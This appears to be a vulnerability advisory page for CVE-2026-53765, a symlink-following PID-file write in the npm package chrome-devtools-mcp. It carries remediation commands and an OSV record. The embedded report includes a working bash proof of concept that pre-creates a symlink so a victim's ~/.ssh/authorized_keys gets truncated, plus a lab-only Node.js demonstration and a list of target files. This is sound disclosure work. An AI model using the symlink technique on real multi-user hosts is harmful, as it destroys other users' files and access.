CVE-2026-53765: Chrome DevTools for agents Daemon.pid Write Follows Symlinks Vulnerability
MODERATECVE-2026-53765 is a MODERATE (CVSS 6.1) daemon.pid write follows symlinks vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Chrome DevTools for agents libraries in the npm ecosystem. The issue involves daemon.pid write follows symlinks in /tmp fallback runtime directory. Remediation is available by upgrading affected packages to version 1.1.0.
CVE-2026-53765 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).
How to Fix CVE-2026-53765
To remediate this vulnerability, upgrade all affected Chrome DevTools for agents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install chrome-devtools-mcp@1.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls chrome-devtools-mcp
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-53765, inspect your project dependencies using npm:
npm ls chrome-devtools-mcp
Analyze the terminal output to locate any version of Chrome DevTools for agents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.0), your application is affected.
Note: The npm ls chrome-devtools-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Chrome DevTools for agents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53765 Affected Chrome DevTools for agents Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
chrome-devtools-mcp
|
npm |
≥ 0.20.0
< 1.1.0
|
1.1.0
|
References
Frequently Asked Questions
What is CVE-2026-53765?
Which Chrome DevTools for agents versions are affected?
What version fixes CVE-2026-53765?
Is chrome-devtools-mcp affected?
What is the CVSS score of CVE-2026-53765?
What CWE is associated with CVE-2026-53765?
How can I check npm dependencies for CVE-2026-53765?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3pvj-jv98-qhjq",
"modified" : "2026-07-21T13:41:41Z",
"published" : "2026-06-17T14:01:04Z",
"aliases" : [ "CVE-2026-53765" ],
"summary" : "Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory",
"details" : "### Summary\n\nThe chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`.\n\nBecause the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string.\n\nThis report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.\n\n### Details\n\nAffected code:\n\n`src/daemon/daemon.ts:38-42`\n\n```ts\nconst pidFilePath = getPidFilePath(sessionId);\nfs.mkdirSync(path.dirname(pidFilePath), {\n recursive: true,\n});\nfs.writeFileSync(pidFilePath, process.pid.toString());\n```\n\n`src/daemon/utils.ts:49-68`\n\n```ts\nexport function getRuntimeHome(sessionId: string): string {\n const platform = os.platform();\n const uid = os.userInfo().uid;\n const suffix = sessionId ? `-${sessionId}` : '';\n const appName = APP_NAME + suffix;\n\n if (process.env.XDG_RUNTIME_DIR) {\n return path.join(process.env.XDG_RUNTIME_DIR, appName);\n }\n\n if (platform === 'darwin' || platform === 'linux') {\n return path.join('/tmp', `${appName}-${uid}`);\n }\n\n return path.join(os.tmpdir(), appName);\n}\n```\n\nThe `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID.\n\nPreconditions:\n\n- The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset.\n- The attacker has any local user account on the same host.\n- The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode.\n\n### PoC\n\nRealistic POSIX scenario:\n\n```bash\n# Attacker, before victim starts daemon mode.\nvictim_uid=1000\nmkdir -p \"/tmp/chrome-devtools-mcp-${victim_uid}\"\nchmod 0755 \"/tmp/chrome-devtools-mcp-${victim_uid}\"\nln -s \"/home/victim/.ssh/authorized_keys\" \\\n \"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid\"\n\n# Victim later starts daemon mode.\nchrome-devtools start\n\n# Result:\n# fs.writeFileSync follows the symlink, so authorized_keys is truncated to\n# the daemon PID string.\n```\n\nLab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory:\n\n```js\nconst fs = require('node:fs');\nconst os = require('node:os');\nconst path = require('node:path');\n\nconst lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));\n\ntry {\n fs.chmodSync(lab, 0o755);\n\n const victimSecret = path.join(lab, 'victim-secret.txt');\n fs.writeFileSync(\n victimSecret,\n 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\\n',\n );\n\n const runtimeDir = path.join(lab, 'attacker-pre-created');\n fs.mkdirSync(runtimeDir, {recursive: true});\n\n const pidFilePath = path.join(runtimeDir, 'daemon.pid');\n fs.symlinkSync(victimSecret, pidFilePath);\n\n // Exact pattern from src/daemon/daemon.ts:39-42.\n fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});\n fs.writeFileSync(pidFilePath, process.pid.toString());\n\n console.log(fs.readFileSync(victimSecret, 'utf8'));\n // -> \"<pid>\" (victim file was truncated/overwritten)\n} finally {\n fs.rmSync(lab, {recursive: true, force: true});\n}\n```\n\nObserved output from the lab PoC:\n\n```text\n[setup] victim secret BEFORE attack:\n IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>\n[victim ran daemon] victim secret AFTER:\n <pid>\n[lstat pidFile] still symlink\n[outcome] victim file was overwritten via attacker-placed symlink.\n```\n\nI can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.\n\n### Impact\n\nWho can exploit:\n\nAny local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session.\n\nSecurity impact:\n\n- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.\n- Availability: critical user configuration files can be corrupted until restored from backup.\n- Confidentiality: none directly; the written content is only the PID string.\n\nExample targets affected by truncation:\n\n- `~/.ssh/authorized_keys`, causing the victim to lose SSH access.\n- `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup.\n- Project `.env`, `secrets.json`, license files, or line-oriented config files.\n- Logs or local audit files writable by the victim.\n\nSuggested fix:\n\nOpen the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing:\n\n```ts\nimport {constants, openSync, writeSync, closeSync} from 'node:fs';\n\nconst fd = openSync(\n pidFilePath,\n constants.O_WRONLY |\n constants.O_CREAT |\n constants.O_TRUNC |\n constants.O_NOFOLLOW,\n 0o600,\n);\nwriteSync(fd, process.pid.toString());\ncloseSync(fd);\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "chrome-devtools-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.20.0"
}, {
"fixed" : "1.1.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.0.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53765"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ChromeDevTools/chrome-devtools-mcp"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-59" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T14:01:04Z",
"nvd_published_at" : "2026-06-24T22:16:47Z"
}
}